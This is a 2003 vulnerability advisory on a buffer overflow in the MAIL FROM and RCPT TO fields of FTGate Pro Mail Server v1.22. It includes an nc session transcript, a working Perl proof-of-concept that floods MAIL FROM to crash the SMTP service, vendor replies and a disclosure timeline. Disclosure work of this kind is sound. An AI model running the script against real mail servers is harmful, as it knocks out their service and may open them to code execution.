Multiple Buffer Overflow Vulnerabilities Found in FTGate Pro Mail Server v. 1.22 (1328) http://www.ftgate.com Discovered by Dennis Rand ------------------------------------------------------------------------ -----[SUMMARY FTGatePro is Floosietek's flagship server. The comprehensive feature set In this server ensures that it will meet whatever demands you place on it. This server is powerful enough for the most demanding of tasks. The problem is a Buffer Overflow in the SMTP protocol, within the ESMTP Server FTGate, causing the service to stop responding for a short Period, where we can actually overwrite the exception handler on the stack allowing A system compromise with code execution running as SYSTEM. -----[AFFECTED SYSTEMS Vulnerable systems: * FTGate Pro Mail Server v. 1.22 (1328) Immune systems: * FTGate Pro Mail Server v. 1.22 (HotFix 1330) -----[SEVERITY Medium/High - An attacker is able to cause a DoS attack on the SMTP protocol. And we can actually overwrite the exception handler on the stack Allowing a system compromise with code execution running as SYSTEM. -----[DESCRIPTION OF WHAT THE VULNERABILITY IS The Vulnerability is a Buffer Overflow in the FTGate Pro Mail Server v. 1.22 (1328) When a malicious attacker sends a large amount into the "MAIL FROM" and the "RCPT TO" The buffer will overflow. If the code was carefully crafted, attackers could execute Arbitrary command in system privilege. The following transcript demonstrates a sample exploitation of the Vulnerabilities: ----------------------------- [Transcript] ----------------------------- nc warlab.dk 25 220 win2k-serv ESMTP Server FTGate HELO Foobar 250 win2k-serv Mail From : The same Vulnerability is in the RCPT TO nc warlab.dk 25 220 win2k-serv ESMTP Server FTGate HELO Foobar 250 win2k-serv Mail From : admin@somewhere.dk 250 Sender Ok Rcpt To: ----------------------------- [Transcript] ----------------------------- ----------------------------- [Exploit Code] ----------------------------- #!/usr/bin/perl -w ################## # FTGate Pro Mail Server v. 1.22 (1328) DoS attack # # USAGE: sploit.pl # # Summary: # # The problem is a Buffer Overflow in the SMTP protocol, within the # ESMTP Server FTGate, causing the service to stop responding for a short # Period, where we can actually overwrite the exception handler on the stack allowing # A system compromise with code execution running as SYSTEM. # # # Solution: # Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later # # use IO::Socket; $target = shift() || "somewhere.dk"; my $port = 25; my $Buffer = "a" x 2400; my $sock = IO::Socket::INET->new ( PeerAddr => $target, PeerPort => $port, Proto => 'tcp' ) || die "could not connect: $!"; my $banner = <$sock>; if ($banner !~ /^2.*/) { print STDERR "Error: invalid server response '$banner'.\n"; exit(1); } print $sock "HELO $target\r\n"; $resp = <$sock>; print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n"; $resp = <$sock>; print $sock "\r\n"; print $sock "\r\n\r\n\r\n\r\n\r\n\r\n"; close($sock); ----------------------------- [Exploit Code] ----------------------------- When this attack is preformed the service will shortly stop and then restart after about 5-10 seconds, all current connections when this attack is preformed will be closed. -----[DETECTION FTGate Pro Mail Server v. 1.22 (1328) is vulnerable to the above-described attacks. Earlier versions may be susceptible as well. To determine if a specific implementation is vulnerable, experiment by following the above transcript. -----[WORK AROUNDS Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) -----[VENDOR RESPONSE Hi, Thank you for brining this to my attention. We have fixed the problem with the code and will release a patch shortly. Regards Richard Bang Floosietek Ltd richard@ftgate.com http://www.floosietek.com Hi, The patch should be up later today. New users will automatically download the patched version. Existing users download it through the WebAdmin UI. Regards Richard Bang Floosietek Ltd richard@ftgate.com http://www.floosietek.com -----[DISCLOSURE TIMELINE 20/04/2003 Found the Vulnerability, and made an analysis. 23/04/2003 Contacted Vendor at support@ftgate.com 29/04/2003 Received response from Vendor 05/05/2003 Contacted vendor for update 06/05/2003 Received response from vendor 06/05/2003 Public Disclosure. -----[ADDITIONAL INFORMATION The vulnerability was discovered and reported by Dennis Rand -----[DISCLAIMER The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.